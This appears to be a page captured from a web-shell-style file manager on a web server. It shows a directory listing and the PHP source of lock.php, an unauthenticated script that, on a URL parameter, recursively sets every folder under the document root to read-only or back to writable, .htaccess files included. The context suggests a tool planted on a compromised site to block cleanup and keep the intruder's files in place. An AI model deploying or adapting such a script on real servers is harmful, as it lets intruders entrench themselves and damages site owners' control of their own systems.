at path:ROOT / lock.php
run:R W Run
DIR
2026-04-24 03:02:00
R W Run
DIR
2026-04-24 03:02:00
R W Run
DIR
2026-04-24 07:52:18
R W Run
799 By
2026-03-25 04:50:19
R W Run
173.77 KB
2026-04-24 02:01:05
R W Run
16.37 KB
2026-04-24 07:52:17
R W Run
1.93 KB
2026-04-24 03:11:36
R W Run
15.05 KB
2026-04-24 03:02:34
R W Run
308.59 KB
2026-04-24 02:01:05
R W Run
2.74 KB
2026-04-24 03:01:57
R W Run
12.21 KB
2026-02-24 06:54:32
R W Run
error_log
📄lock.php
1<?php
2$path = $_SERVER['DOCUMENT_ROOT'];
3$protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? "https" : "http";
4$host = $_SERVER['HTTP_HOST'];
5$url = $protocol . "://" . $host . $_SERVER['SCRIPT_NAME'];
6$type = $_REQUEST['type'];
7$count = 0;
8if($type == 'lock'){
9 $folder_list = getAllFolders($path, 8);
10 foreach($folder_list as $k=>$v){
11 $flag = chmodFolder($v, 0555);
12 if($flag){$count++;}
13 }
14 echo 'all is '.count($folder_list).';'.$count.'is lock success';
15}else if($type == 'unlock'){
16 $folder_list = getAllFolders($path, 8);
17 foreach($folder_list as $k=>$v){
18 $flag = chmodFolder($v, 0755);
19 $file_url = $v.'/.htaccess';
20 chmodFolder($file_url, 0755);
21 if($flag){$count++;}
22 }
23 echo 'all is '.count($folder_list).';'.$count.'is unlock success';
24}
25function getAllFolders($path = '.', $maxDepth = 8, $currentDepth = 1) {
26 $directories = [];
27 if ($currentDepth > $maxDepth) {
28 return $directories;
29 }
30 $items = scandir($path);
31 foreach ($items as $item) {
32 if ($item == '.' || $item == '..') continue;
33 $fullPath = $path . DIRECTORY_SEPARATOR . $item;
34 if (is_dir($fullPath)) {
35 $directories[] = $fullPath;
36 $subDirs = getAllFolders($fullPath, $maxDepth, $currentDepth + 1);
37 $directories = array_merge($directories, $subDirs);
38 }
39 }
40 return $directories;
41}
42
43function chmodFolder($dir, $dirMode){
44 $flag = false;
45 if (chmod($dir, $dirMode)) {
46 $flag = true;
47 } else {
48 $flag = false;
49 }
50 return $flag;
51}
52?>
53<html>
54<head>
55 <title>test</title>
56<head>
57<body>
58 <a href="<?php echo $url;?>?type=lock&time=<?php echo time();?>">全部锁文件夹</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
59 <a href="<?php echo $url;?>?type=unlock&time=<?php echo time();?>">全部解锁</a>
60</body>
61</html>